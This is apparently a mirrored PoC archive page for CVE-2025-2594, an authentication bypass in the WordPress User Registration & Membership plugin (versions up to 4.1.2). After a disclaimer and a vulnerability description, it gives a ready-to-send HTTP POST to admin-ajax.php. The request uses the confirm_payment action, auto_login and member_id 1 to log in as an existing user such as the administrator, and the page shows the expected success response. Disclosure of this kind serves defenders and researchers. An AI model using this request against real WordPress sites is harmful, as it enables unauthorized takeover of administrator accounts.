Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-2594 PoC — WordPress plugin User Registration & Membership 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin User Registration & Membership 安全漏洞 (CVE-2025-2594)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin User Registration & Membership 4.1.3之前版本存在安全漏洞,该漏洞源于启用Membership Addon时未正确验证AJAX操作数据,可能导致攻击者以任意用户身份验证。
Description
User Registration & Membership <= 4.1.2 - Authentication Bypass
Readme
# CVE-2025-2594
###### User Registration & Membership <= 4.1.2 - Authentication Bypass

### Disclaimer!
The information presented in this CVE (Common Vulnerabilities and Exposures) writeup is for educational and informational purposes only. The details provided are based on publicly available resources, research, and analysis conducted by the author. The content is not intended to promote or encourage any illegal activities, including hacking, exploitation, or unauthorized access to systems.

The author does not assume any responsibility for any misuse of the information presented. It is recommended that individuals and organizations apply this knowledge responsibly and in compliance with applicable laws and regulations. Readers are strongly advised to test vulnerabilities only in controlled environments with proper authorization.

The author and contributors of this writeup do not endorse or support malicious activities and encourage responsible disclosure and ethical hacking practices.

---

### Description
A critical security vulnerability has been discovered in the “User Registration & Membership” WordPress plugin, a popular tool for creating membership websites and registration forms. The flaw, identified as CVE-2025-2594, carries a CVSS score of 8.1, indicating its high severity.

The User Registration & Membership plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 4.1.2. This is due to incorrect authentication in the 'confirm_payment()' function. This makes it possible for unauthenticated attackers to log in an existing user on the site, even an administrator, with this conditions:
1. **The plugin has activate membership add-on**
---

### PoC (Proof Of Concept)

1. get _confirm_payment_nonce at registration page
2. Sample request data
    ```text
    POST /wp-admin/admin-ajax.php HTTP/1.1
    User-Agent: PostmanRuntime/7.43.3
    Accept: */*
    Postman-Token: b41b34c8-c1c9-4e3a-aa4f-380706626e7a
    Host: hackthebox.test
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Content-Type: multipart/form-data; boundary=--------------------------705549092016875046023302
    Content-Length: 565
    
    ----------------------------705549092016875046023302
    Content-Disposition: form-data; name="action"
    
    user_registration_membership_confirm_payment
    ----------------------------705549092016875046023302
    Content-Disposition: form-data; name="security"
    
    CONFIRM_PAYMENT_NONCE
    ----------------------------705549092016875046023302
    Content-Disposition: form-data; name="form_response"
    
    { "auto_login": true }
    ----------------------------705549092016875046023302
    Content-Disposition: form-data; name="member_id"
    
    1
    ----------------------------705549092016875046023302--
   ```
3. The response must be like this  
    ```json
    {"success":true,"data":{"message":null}}
    ```
4. Sample response
   ![Screenshot 14](Screenshot_14.png)

---

### Reference
> 1. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-412-authentication-bypass
> 2. https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.1/modules/membership/includes/AJAX.php#L566
> 3. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/AJAX.php
> 4. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/Admin/Services/MembersService.php

---

### Thank you

- https://saweria.co/ubaii
- https://buymeacoffee.com/ubaii
- https://trakteer.id/ubaii
File Snapshot

[4.0K] /data/pocs/3fe73b732cb8e08f594ddf9852e4c30e2ac20357 ├── [3.6K] README.md └── [146K] Screenshot_14.png 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.